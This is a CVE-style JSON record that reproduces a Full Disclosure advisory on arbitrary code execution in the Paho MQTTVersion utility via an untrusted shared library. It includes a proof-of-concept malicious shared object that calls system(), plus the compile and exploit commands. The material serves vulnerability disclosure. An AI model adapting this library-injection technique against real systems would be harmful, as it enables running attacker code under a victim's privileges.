{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Paho",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nArbitrary code execution is possible in the MQTTVersion utility due to\nunsafe loading and execution of untrusted shared libraries. When a user\nsupplies a shared library path as a command-line argument, the application\nloads the library using dlopen() and resolves an exported symbol using\ndlsym(). The resolved function pointer is invoked directly without\nvalidating the origin or trustworthiness of the loaded library and without\nenforcing a security boundary. Because the supplied shared object is fully\nattacker-controlled, an attacker may export the expected symbol and execute\narbitrary code when the function is invoked. This results in arbitrary code\nexecution in the context of the running process.\n\n\n*Impact:*An attacker can execute arbitrary code with the privileges of the\nuser running the MQTTVersion utility by providing a crafted shared object.\nThis may result in command execution, data manipulation, or compromise of\nthe execution environment. The impact is significantly increased if the\nutility is executed by privileged users or within automated tooling such as\nCI/CD pipelines, packaging systems, or administrative scripts.\n\n*Affected Code:*\nfunc_address = dlsym(APILibrary, \"MQTTAsync_getVersionInfo\");\n(*func_address)();\n\n*Attack Scenario:*\n\n   1. An attacker creates a malicious shared object exporting the expected\n   symbol.\n   2. The attacker supplies the shared object path as a command-line\n   argument.\n   3. The utility loads the attacker-controlled library and invokes the\n   exported function.\n   4. Arbitrary attacker-controlled code executes in the context of the\n   process.\n\n\n\n*Proof of Concept (PoC):*\n\n*Malicious Shared Object:*\n// evil.c\n#include \u003cstdlib.h\u003e\n\ntypedef struct {\n    const char* name;\n    const char* value;\n} MQTTAsync_nameValue;\n\nMQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {\n    system(\"echo RCE_FROM_SO\");\n    static MQTTAsync_nameValue v[] = {\n        {\"PWNED\", \"Untrusted library executed\"},\n        {NULL, NULL}\n    };\n    return v;\n}\n\n\n*Compile the malicious library:*\nclang -shared -fPIC evil.c -o libevil.so\n\n*Exploit:*\n./MQTTVersion ./libevil.so\n\n*Output:*\nMQTTVersion: print the version strings of an MQTT client library\nCopyright (c) 2012, 2018 IBM Corp.\nRCE_FROM_SO\nPWNED: Function pointer executed\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:25:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/12"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/12"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/12"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Paho v1.3.15 Arbitrary Code Execution via Untrusted Dynamic Library Execution",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0175",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/12",
            "automated": true,
            "contentSha256": "9942f785b839d0e2c0ef3c6bb00a5956ab0743e6b038491cd68573c487b9fe85",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/12",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:46:35Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-08T07:25:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0175"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}